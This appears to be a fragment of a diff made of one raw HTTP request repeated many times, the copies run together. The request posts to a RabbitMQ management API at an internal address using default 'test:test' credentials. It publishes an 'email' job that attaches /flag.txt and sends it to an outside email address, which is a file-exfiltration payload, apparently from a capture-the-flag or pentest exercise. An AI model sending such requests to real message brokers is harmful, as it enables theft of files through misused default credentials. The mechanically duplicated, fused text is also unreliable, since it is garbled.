+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
+Content-Length: 264
+Content-Type: application/json;charset=UTF-8
+
+{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"carlospolop@gmail.com\",\"attachments\":[{\"path\":\"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
+Host: 172.32.56.72:15672
+Authorization: Basic dGVzdDp0ZXN0
+Accept: */*
